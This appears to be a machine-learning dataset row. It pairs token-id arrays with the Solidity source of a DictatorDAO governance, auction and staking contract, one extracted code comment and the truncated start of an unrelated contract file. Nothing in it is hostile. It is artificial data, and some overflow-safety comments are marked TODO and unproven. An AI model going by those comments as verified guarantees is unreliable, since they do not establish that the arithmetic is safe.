0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
6617,
537,
12,
2867,
389,
87,
1302,
264,
16,
2254,
389,
1132,
13,
1071,
1338,
6110,
1225,
12,
22,
380,
3847,
13,
353,
13534,
95,
203,
3639,
327,
2240,
18,
12908,
537,
24899,
87,
1302,
264,
16,
389,
1132,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
import "@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol";
import "@boringcrypto/boring-solidity/contracts/Domain.sol";
import "@boringcrypto/boring-solidity/contracts/ERC20.sol";
import "@boringcrypto/boring-solidity/contracts/BoringBatchable.sol";
import "./libraries/SignedSafeMath.sol";
import "./interfaces/IRewarder.sol";
// DAO code/operator management/dutch auction, etc by BoringCrypto
// Staking in DictatorDAO inspired by Chef Nomi's SushiBar (heavily modified) - MIT license (originally WTFPL)
// TimeLock functionality Copyright 2020 Compound Labs, Inc. - BSD 3-Clause "New" or "Revised" License
// Token pool code from SushiSwap MasterChef V2, pioneered by Chef Nomi (I think, under WTFPL) and improved by Keno Budde - MIT license
contract DictatorDAO is IERC20, Domain {
using BoringMath for uint256;
using BoringMath128 for uint128;
string public symbol;
string public name;
uint8 public constant decimals = 18;
uint256 public override totalSupply;
DictatorToken public immutable token;
address public operator;
mapping(address => address) public userVote;
mapping(address => uint256) public votes;
constructor(
string memory tokenSymbol,
string memory tokenName,
string memory sharesSymbol,
string memory sharesName,
address initialOperator
) public {
// The DAO is the owner of the DictatorToken
token = new DictatorToken(tokenSymbol, tokenName);
symbol = sharesSymbol;
name = sharesName;
operator = initialOperator;
}
struct User {
uint128 balance;
uint128 lockedUntil;
}
/// @notice owner > balance mapping.
mapping(address => User) public users;
/// @notice owner > spender > allowance mapping.
mapping(address => mapping(address => uint256)) public override allowance;
/// @notice owner > nonce mapping. Used in `permit`.
mapping(address => uint256) public nonces;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address user) public view override returns (uint256 balance) {
return users[user].balance;
}
function _transfer(
address from,
address to,
uint256 shares
) internal {
User memory fromUser = users[from];
require(block.timestamp >= fromUser.lockedUntil, "Locked");
if (shares != 0) {
require(fromUser.balance >= shares, "Low balance");
if (from != to) {
require(to != address(0), "Zero address"); // Moved down so other failed calls safe some gas
User memory toUser = users[to];
address userVoteTo = userVote[to];
address userVoteFrom = userVote[from];
users[from].balance = fromUser.balance - shares.to128(); // Underflow is checked
users[to].balance = toUser.balance + shares.to128(); // Can't overflow because totalSupply would be greater than 2^256-1
votes[userVoteFrom] -= shares;
votes[userVoteTo] += shares;
}
}
emit Transfer(from, to, shares);
}
function _useAllowance(address from, uint256 shares) internal {
if (msg.sender == from) {
return;
}
uint256 spenderAllowance = allowance[from][msg.sender];
// If allowance is infinite, don't decrease it to save on gas (breaks with EIP-20).
if (spenderAllowance != type(uint256).max) {
require(spenderAllowance >= shares, "Low allowance");
allowance[from][msg.sender] = spenderAllowance - shares; // Underflow is checked
}
}
/// @notice Transfers `shares` tokens from `msg.sender` to `to`.
/// @param to The address to move the tokens.
/// @param shares of the tokens to move.
/// @return (bool) Returns True if succeeded.
function transfer(address to, uint256 shares) public returns (bool) {
_transfer(msg.sender, to, shares);
return true;
}
/// @notice Transfers `shares` tokens from `from` to `to`. Caller needs approval for `from`.
/// @param from Address to draw tokens from.
/// @param to The address to move the tokens.
/// @param shares The token shares to move.
/// @return (bool) Returns True if succeeded.
function transferFrom(
address from,
address to,
uint256 shares
) public returns (bool) {
_useAllowance(from, shares);
_transfer(from, to, shares);
return true;
}
/// @notice Approves `amount` from sender to be spend by `spender`.
/// @param spender Address of the party that can draw from msg.sender's account.
/// @param amount The maximum collective amount that `spender` can draw.
/// @return (bool) Returns True if approved.
function approve(address spender, uint256 amount) public override returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32) {
return _domainSeparator();
}
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 private constant PERMIT_SIGNATURE_HASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
/// @notice Approves `value` from `owner_` to be spend by `spender`.
/// @param owner_ Address of the owner.
/// @param spender The address of the spender that gets approved to draw from `owner_`.
/// @param value The maximum collective amount that `spender` can draw.
/// @param deadline This permit must be redeemed before this deadline (UTC timestamp in seconds).
function permit(
address owner_,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external override {
require(owner_ != address(0), "Zero owner");
require(block.timestamp < deadline, "Expired");
require(
ecrecover(_getDigest(keccak256(abi.encode(PERMIT_SIGNATURE_HASH, owner_, spender, value, nonces[owner_]++, deadline))), v, r, s) ==
owner_,
"Invalid Sig"
);
allowance[owner_][spender] = value;
emit Approval(owner_, spender, value);
}
// Operator Setting
address public pendingOperator;
uint256 public pendingOperatorTime;
function setOperator(address newOperator) public {
require(newOperator != address(0), "Zero operator");
uint256 netVotes = totalSupply - votes[address(0)];
if (newOperator != pendingOperator) {
require(votes[newOperator] * 2 > netVotes, "Not enough votes");
pendingOperator = newOperator;
pendingOperatorTime = block.timestamp + 7 days;
} else {
if (votes[newOperator] * 2 > netVotes) {
require(block.timestamp >= pendingOperatorTime, "Wait longer");
operator = pendingOperator;
}
// If there aren't enough votes, then the pending operator failed
// to maintain a majority. If there are, then they are now the
// operator. In either situation:
pendingOperator = address(0);
pendingOperatorTime = 0;
}
}
/// math is ok, because amount, totalSupply and shares is always 0 <= amount <= 100.000.000 * 10^18
/// theoretically you can grow the amount/share ratio, but it's not practical and useless
function mint(uint256 amount, address operatorVote) public returns (bool) {
// TODO: Remove?
require(msg.sender != address(0), "Zero address");
User memory user = users[msg.sender];
uint256 totalTokens = token.balanceOf(address(this));
uint256 shares = totalSupply == 0 ? amount : (amount * totalSupply) / totalTokens;
// Did we change our vote? Do this while we know our previous total:
address currentVote = userVote[msg.sender];
uint256 extraVotes = shares;
if (currentVote != operatorVote) {
if (user.balance > 0) {
// Safe, because the user must have added their balance before
votes[currentVote] -= user.balance;
extraVotes += user.balance;
}
userVote[msg.sender] = operatorVote;
}
votes[operatorVote] += extraVotes;
user.balance += shares.to128();
user.lockedUntil = (block.timestamp + 24 hours).to128();
users[msg.sender] = user;
totalSupply += shares;
token.transferFrom(msg.sender, address(this), amount);
emit Transfer(address(0), msg.sender, shares);
return true;
}
// Change your vote. Does not lock tokens.
function vote(address operatorVote) public returns (bool) {
address currentVote = userVote[msg.sender];
if (currentVote != operatorVote) {
User memory user = users[msg.sender];
if (user.balance > 0) {
votes[currentVote] -= user.balance;
votes[operatorVote] += user.balance;
}
userVote[msg.sender] = operatorVote;
}
return true;
}
function _burn(
address from,
address to,
uint256 shares
) internal {
require(to != address(0), "Zero address");
User memory user = users[from];
require(block.timestamp >= user.lockedUntil, "Locked");
uint256 amount = (shares * token.balanceOf(address(this))) / totalSupply;
users[from].balance = user.balance.sub(shares.to128()); // Must check underflow
totalSupply -= shares;
votes[userVote[from]] -= shares;
token.transfer(to, amount);
emit Transfer(from, address(0), shares);
}
function burn(address to, uint256 shares) public returns (bool) {
_burn(msg.sender, to, shares);
return true;
}
function burnFrom(
address from,
address to,
uint256 shares
) public returns (bool) {
_useAllowance(from, shares);
_burn(from, to, shares);
return true;
}
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint256 value, bytes data, uint256 eta);
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint256 value, bytes data);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint256 value, bytes data);
uint256 public constant GRACE_PERIOD = 14 days;
uint256 public constant DELAY = 2 days;
mapping(bytes32 => uint256) public queuedTransactions;
function queueTransaction(
address target,
uint256 value,
bytes memory data
) public returns (bytes32) {
require(msg.sender == operator, "Operator only");
require(votes[operator] * 2 > totalSupply, "Not enough votes");
bytes32 txHash = keccak256(abi.encode(target, value, data));
uint256 eta = block.timestamp + DELAY;
queuedTransactions[txHash] = eta;
emit QueueTransaction(txHash, target, value, data, eta);
return txHash;
}
function cancelTransaction(
address target,
uint256 value,
bytes memory data
) public {
require(msg.sender == operator, "Operator only");
bytes32 txHash = keccak256(abi.encode(target, value, data));
queuedTransactions[txHash] = 0;
emit CancelTransaction(txHash, target, value, data);
}
function executeTransaction(
address target,
uint256 value,
bytes memory data
) public payable returns (bytes memory) {
require(msg.sender == operator, "Operator only");
require(votes[operator] * 2 > totalSupply, "Not enough votes");
bytes32 txHash = keccak256(abi.encode(target, value, data));
uint256 eta = queuedTransactions[txHash];
require(block.timestamp >= eta, "Too early");
require(block.timestamp <= eta + GRACE_PERIOD, "Tx stale");
queuedTransactions[txHash] = 0;
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call{value: value}(data);
require(success, "Tx reverted :(");
emit ExecuteTransaction(txHash, target, value, data);
return returnData;
}
}
interface IMigratorChef {
// Take the current LP token address and return the new LP token address.
// Migrator should have full access to the caller's LP token.
function migrate(IERC20 token) external returns (IERC20);
}
contract DictatorToken is ERC20, BoringBatchable {
using BoringMath for uint256;
using BoringMath128 for uint128;
using SignedSafeMath for int256;
using BoringERC20 for IERC20;
uint256 constant WEEK = 7 days;
uint256 constant BONUS_DIVISOR = 14 days;
string public symbol;
string public name;
uint8 public constant decimals = 18;
uint256 public constant totalSupply = 100_000_000 * 1e18;
DictatorDAO public immutable DAO;
uint256 public immutable startTime;
uint16 public currentWeek;
mapping(uint16 => uint256) public weekShares;
mapping(address => mapping(uint16 => uint256)) public userWeekShares;
constructor(string memory symbol_, string memory name_) public {
symbol = symbol_;
name = name_;
DAO = DictatorDAO(msg.sender);
// Register founding time
startTime = block.timestamp;
// Mint all tokens and assign to the contract (no need for minting code after this + save some gas)
balanceOf[address(this)] = totalSupply;
emit Transfer(address(0), address(this), totalSupply);
}
modifier onlyDAO() {
require(msg.sender == address(DAO), "Not DAO");
_;
}
function price() public view returns (uint256) {
uint256 weekStart = startTime + currentWeek * WEEK;
uint256 nextWeekStart = weekStart + WEEK;
if (block.timestamp >= nextWeekStart) {
return 0;
}
uint256 timeLeft = block.timestamp < weekStart ? WEEK : nextWeekStart - block.timestamp;
uint256 timeLeftExp = timeLeft**8; // Max is 1.8e46
return timeLeftExp / 1e28;
}
function buy(uint16 week, address to) external payable {
require(week == currentWeek, "Wrong week");
uint256 weekStart = startTime + currentWeek * WEEK;
require(block.timestamp >= weekStart, "Not started");
uint256 currentPrice = price();
require(currentPrice > 0, "Ended");
// The above checks ensure that elapsed < WEEK
uint256 elapsed = block.timestamp - weekStart;
// Shares = value + part of value based on how much of the week has
// passed (starts at 50%, to 0% at the end of the week)
uint256 bonus = ((WEEK - elapsed) * msg.value) / BONUS_DIVISOR;
uint256 shares = msg.value + bonus;
userWeekShares[to][week] += shares;
weekShares[week] += shares;
uint256 tokensPerWeek = tokensPerWeek(currentWeek);
// Price is per "token ETH"; tokensPerWeek is in "token wei".
require(weekShares[week].mul(1e18) <= currentPrice * tokensPerWeek, "Oversold");
}
// Conclude the auction; buyers can now get their best price:
function nextWeek() public {
// TODO: Prove that we don't need to check the multiplication
uint256 tokensPerWeek = tokensPerWeek(currentWeek);
require(weekShares[currentWeek].mul(1e18) >= price() * tokensPerWeek, "Not fully sold");
currentWeek++;
}
function claimPurchase(uint16 week, address to) public {
// TODO: Call nextWeek() as needed?
require(week < currentWeek, "Not finished");
// Given that (check definitions)...
// - price <= WEEK**8 / 1e28 ~= 1.8 ETH,
// - tokensPerWeek <= 1M ~= 1e26 wei,
// - shares <= max_{all time}(price * tokensPerWeek)
// the numerator is at most 1.8e54 < 2 * 2**180:
uint256 tokens = (userWeekShares[to][week] * tokensPerWeek(week)) / weekShares[week];
// By int division and the fact that all tokens have been minted, the
// following will not underflow. TODO: check/enforce
balanceOf[address(this)] -= tokens;
balanceOf[to] += tokens;
emit Transfer(address(this), to, tokens);
}
function tokensPerWeek(uint256 week) public pure returns (uint256) {
return week < 2 ? 1_000_000e18 : week < 50 ? 100_000e18 : week < 100 ? 50_000e18 : week < 150 ? 30_000e18 : week < 200 ? 20_000e18 : 0;
}
function tokensPerBlock() public view returns (uint256) {
uint256 elapsed = (block.timestamp - startTime) / WEEK;
return
elapsed < 2 ? 0 : elapsed < 50 ? 219_780e14 : elapsed < 100 ? 109_890e14 : elapsed < 150 ? 65_934e14 : elapsed < 200 ? 43_956e14 : 0;
}
function retrieveOperatorPayment(address to) public returns (bool success) {
require(msg.sender == DAO.operator(), "Not operator");
(success, ) = to.call{value: address(this).balance}("");
}
event Deposit(address indexed user, uint256 indexed pid, uint256 amount, address indexed to);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount, address indexed to);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount, address indexed to);
event Harvest(address indexed user, uint256 indexed pid, uint256 amount);
event LogPoolAddition(uint256 indexed pid, uint256 allocPoint, IERC20 indexed poolToken, IRewarder indexed rewarder);
event LogSetPool(uint256 indexed pid, uint256 allocPoint, IRewarder indexed rewarder, bool overwrite);
event LogUpdatePool(uint256 indexed pid, uint64 lastRewardBlock, uint256 lpSupply, uint256 accTokensPerShare);
/// @notice Info of each Distributor user.
/// `amount` LP token amount the user has provided.
/// `rewardDebt` The amount of tokens entitled to the user.
struct UserInfo {
uint256 amount;
int256 rewardDebt;
}
/// @notice Info of each Distributor pool.
/// `allocPoint` The amount of allocation points assigned to the pool.
/// Also known as the amount of tokens to distribute per block.
struct PoolInfo {
uint128 accTokensPerShare;
uint64 lastRewardBlock;
uint64 allocPoint;
}
/// @notice Info of each Distributor pool.
PoolInfo[] public poolInfo;
/// @notice Address of the LP token for each Distributor pool.
IERC20[] public poolToken;
/// @notice Address of each `IRewarder` contract in Distributor.
IRewarder[] public rewarder;
/// @notice Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
/// @dev Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint;
// @notice The migrator contract. It has a lot of power. Can only be set through governance (owner).
IMigratorChef public migrator;
uint256 private constant ACC_TOKENS_PRECISION = 1e12;
/// @notice Returns the number of MCV2 pools.
function poolLength() public view returns (uint256 pools) {
pools = poolInfo.length;
}
/// @notice Add a new LP to the pool. Can only be called by the owner.
/// DO NOT add the same LP token more than once. Rewards will be messed up if you do.
/// @param allocPoint AP of the new pool.
/// @param poolToken_ Address of the LP ERC-20 token.
/// @param _rewarder Address of the rewarder delegate.
function addPool(
uint256 allocPoint,
IERC20 poolToken_,
IRewarder _rewarder
) public onlyDAO {
uint256 lastRewardBlock = block.number;
totalAllocPoint = totalAllocPoint.add(allocPoint);
poolToken.push(poolToken_);
rewarder.push(_rewarder);
poolInfo.push(PoolInfo({allocPoint: allocPoint.to64(), lastRewardBlock: lastRewardBlock.to64(), accTokensPerShare: 0}));
emit LogPoolAddition(poolToken.length.sub(1), allocPoint, poolToken_, _rewarder);
}
/// @notice Update the given pool's tokens allocation point and `IRewarder` contract. Can only be called by the owner.
/// @param _pid The index of the pool. See `poolInfo`.
/// @param _allocPoint New AP of the pool.
/// @param _rewarder Address of the rewarder delegate.
/// @param overwrite True if _rewarder should be `set`. Otherwise `_rewarder` is ignored.
function setPool(
uint256 _pid,
uint256 _allocPoint,
IRewarder _rewarder,
bool overwrite
) public onlyDAO {
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint.to64();
if (overwrite) {
rewarder[_pid] = _rewarder;
}
emit LogSetPool(_pid, _allocPoint, overwrite ? _rewarder : rewarder[_pid], overwrite);
}
/// @notice Set the `migrator` contract. Can only be called by the owner.
/// @param _migrator The contract address to set.
function setMigrator(IMigratorChef _migrator) public onlyDAO {
migrator = _migrator;
}
/// @notice Migrate LP token to another LP contract through the `migrator` contract.
/// @param pid The index of the pool. See `poolInfo`.
function migratePool(uint256 pid) public {
require(address(migrator) != address(0), "No migrator");
IERC20 _poolToken = poolToken[pid];
uint256 bal = _poolToken.balanceOf(address(this));
_poolToken.approve(address(migrator), bal);
IERC20 newPoolToken = migrator.migrate(_poolToken);
require(bal == newPoolToken.balanceOf(address(this)), "Migrated balance mismatch");
poolToken[pid] = newPoolToken;
}
/// @notice View function to see pending tokens on frontend.
/// @param _pid The index of the pool. See `poolInfo`.
/// @param _user Address of user.
/// @return pending tokens reward for a given user.
function pendingTokens(uint256 _pid, address _user) external view returns (uint256 pending) {
PoolInfo memory pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accTokensPerShare = pool.accTokensPerShare;
uint256 lpSupply = poolToken[_pid].balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 blocks = block.number.sub(pool.lastRewardBlock);
uint256 tokensReward = blocks.mul(tokensPerBlock()).mul(pool.allocPoint) / totalAllocPoint;
accTokensPerShare = accTokensPerShare.add(tokensReward.mul(ACC_TOKENS_PRECISION) / lpSupply);
}
pending = int256(user.amount.mul(accTokensPerShare) / ACC_TOKENS_PRECISION).sub(user.rewardDebt).toUInt256();
}
/// @notice Update reward variables for all pools. Be careful of gas spending!
/// @param pids Pool IDs of all to be updated. Make sure to update all active pools.
function massUpdatePools(uint256[] calldata pids) external {
uint256 len = pids.length;
for (uint256 i = 0; i < len; ++i) {
updatePool(pids[i]);
}
}
/// @notice Update reward variables of the given pool.
/// @param pid The index of the pool. See `poolInfo`.
/// @return pool Returns the pool that was updated.
function updatePool(uint256 pid) public returns (PoolInfo memory pool) {
pool = poolInfo[pid];
if (block.number > pool.lastRewardBlock) {
uint256 lpSupply = poolToken[pid].balanceOf(address(this));
if (lpSupply > 0) {
uint256 blocks = block.number.sub(pool.lastRewardBlock);
uint256 tokensReward = blocks.mul(tokensPerBlock()).mul(pool.allocPoint) / totalAllocPoint;
pool.accTokensPerShare = pool.accTokensPerShare.add((tokensReward.mul(ACC_TOKENS_PRECISION) / lpSupply).to128());
}
pool.lastRewardBlock = block.number.to64();
poolInfo[pid] = pool;
emit LogUpdatePool(pid, pool.lastRewardBlock, lpSupply, pool.accTokensPerShare);
}
}
/// @notice Deposit LP tokens to Dictator DAO for token allocation.
/// @param pid The index of the pool. See `poolInfo`.
/// @param amount LP token amount to deposit.
/// @param to The receiver of `amount` deposit benefit.
function deposit(
uint256 pid,
uint256 amount,
address to
) public {
PoolInfo memory pool = updatePool(pid);
UserInfo storage user = userInfo[pid][to];
// Effects
user.amount = user.amount.add(amount);
user.rewardDebt = user.rewardDebt.add(int256(amount.mul(pool.accTokensPerShare) / ACC_TOKENS_PRECISION));
// Interactions
IRewarder _rewarder = rewarder[pid];
if (address(_rewarder) != address(0)) {
_rewarder.onTokensReward(pid, to, to, 0, user.amount);
}
poolToken[pid].safeTransferFrom(msg.sender, address(this), amount);
emit Deposit(msg.sender, pid, amount, to);
}
/// @notice Withdraw LP tokens from MCV2.
/// @param pid The index of the pool. See `poolInfo`.
/// @param amount LP token amount to withdraw.
/// @param to Receiver of the LP tokens.
function withdraw(
uint256 pid,
uint256 amount,
address to
) public {
PoolInfo memory pool = updatePool(pid);
UserInfo storage user = userInfo[pid][msg.sender];
// Effects
user.rewardDebt = user.rewardDebt.sub(int256(amount.mul(pool.accTokensPerShare) / ACC_TOKENS_PRECISION));
user.amount = user.amount.sub(amount);
// Interactions
IRewarder _rewarder = rewarder[pid];
if (address(_rewarder) != address(0)) {
_rewarder.onTokensReward(pid, msg.sender, to, 0, user.amount);
}
poolToken[pid].safeTransfer(to, amount);
emit Withdraw(msg.sender, pid, amount, to);
}
/// @notice Harvest proceeds for transaction sender to `to`.
/// @param pid The index of the pool. See `poolInfo`.
/// @param to Receiver of tokens rewards.
function harvest(uint256 pid, address to) public {
PoolInfo memory pool = updatePool(pid);
UserInfo storage user = userInfo[pid][msg.sender];
int256 accumulatedTokens = int256(user.amount.mul(pool.accTokensPerShare) / ACC_TOKENS_PRECISION);
uint256 _pendingTokens = accumulatedTokens.sub(user.rewardDebt).toUInt256();
// Effects
user.rewardDebt = accumulatedTokens;
// Interactions
if (_pendingTokens != 0) {
balanceOf[address(this)] = balanceOf[address(this)].sub(_pendingTokens);
balanceOf[to] += _pendingTokens;
emit Transfer(address(this), to, _pendingTokens);
}
IRewarder _rewarder = rewarder[pid];
if (address(_rewarder) != address(0)) {
_rewarder.onTokensReward(pid, msg.sender, to, _pendingTokens, user.amount);
}
emit Harvest(msg.sender, pid, _pendingTokens);
}
/// @notice Withdraw LP tokens from MCV2 and harvest proceeds for transaction sender to `to`.
/// @param pid The index of the pool. See `poolInfo`.
/// @param amount LP token amount to withdraw.
/// @param to Receiver of the LP tokens and tokens rewards.
function withdrawAndHarvest(
uint256 pid,
uint256 amount,
address to
) public {
PoolInfo memory pool = updatePool(pid);
UserInfo storage user = userInfo[pid][msg.sender];
int256 accumulatedTokens = int256(user.amount.mul(pool.accTokensPerShare) / ACC_TOKENS_PRECISION);
uint256 _pendingTokens = accumulatedTokens.sub(user.rewardDebt).toUInt256();
// Effects
user.rewardDebt = accumulatedTokens.sub(int256(amount.mul(pool.accTokensPerShare) / ACC_TOKENS_PRECISION));
user.amount = user.amount.sub(amount);
// Interactions
balanceOf[address(this)] = balanceOf[address(this)].sub(_pendingTokens);
balanceOf[to] += _pendingTokens;
emit Transfer(address(this), to, _pendingTokens);
IRewarder _rewarder = rewarder[pid];
if (address(_rewarder) != address(0)) {
_rewarder.onTokensReward(pid, msg.sender, to, _pendingTokens, user.amount);
}
poolToken[pid].safeTransfer(to, amount);
emit Withdraw(msg.sender, pid, amount, to);
emit Harvest(msg.sender, pid, _pendingTokens);
}
/// @notice Withdraw without caring about rewards. EMERGENCY ONLY.
/// @param pid The index of the pool. See `poolInfo`.
/// @param to Receiver of the LP tokens.
function emergencyWithdraw(uint256 pid, address to) public {
UserInfo storage user = userInfo[pid][msg.sender];
uint256 amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
IRewarder _rewarder = rewarder[pid];
if (address(_rewarder) != address(0)) {
_rewarder.onTokensReward(pid, msg.sender, to, 0, 0);
}
// Note: transfer can fail or succeed if `amount` is zero.
poolToken[pid].safeTransfer(to, amount);
emit EmergencyWithdraw(msg.sender, pid, amount, to);
}
}
|
Can't overflow because totalSupply would be greater than 2^256-1
|
users[to].balance = toUser.balance + shares.to128();
| 1,006,512 |
[
1,
2568,
1404,
9391,
2724,
2078,
3088,
1283,
4102,
506,
6802,
2353,
576,
66,
5034,
17,
21,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
7734,
3677,
63,
869,
8009,
12296,
273,
358,
1299,
18,
12296,
397,
24123,
18,
869,
10392,
5621,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-03-02
*/
// File: contracts/upgradeability/EternalStorage.sol
pragma solidity 0.7.5;
/**
* @title EternalStorage
* @dev This contract holds all the necessary state variables to carry out the storage of any contract.
*/
contract EternalStorage {
mapping(bytes32 => uint256) internal uintStorage;
mapping(bytes32 => string) internal stringStorage;
mapping(bytes32 => address) internal addressStorage;
mapping(bytes32 => bytes) internal bytesStorage;
mapping(bytes32 => bool) internal boolStorage;
mapping(bytes32 => int256) internal intStorage;
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
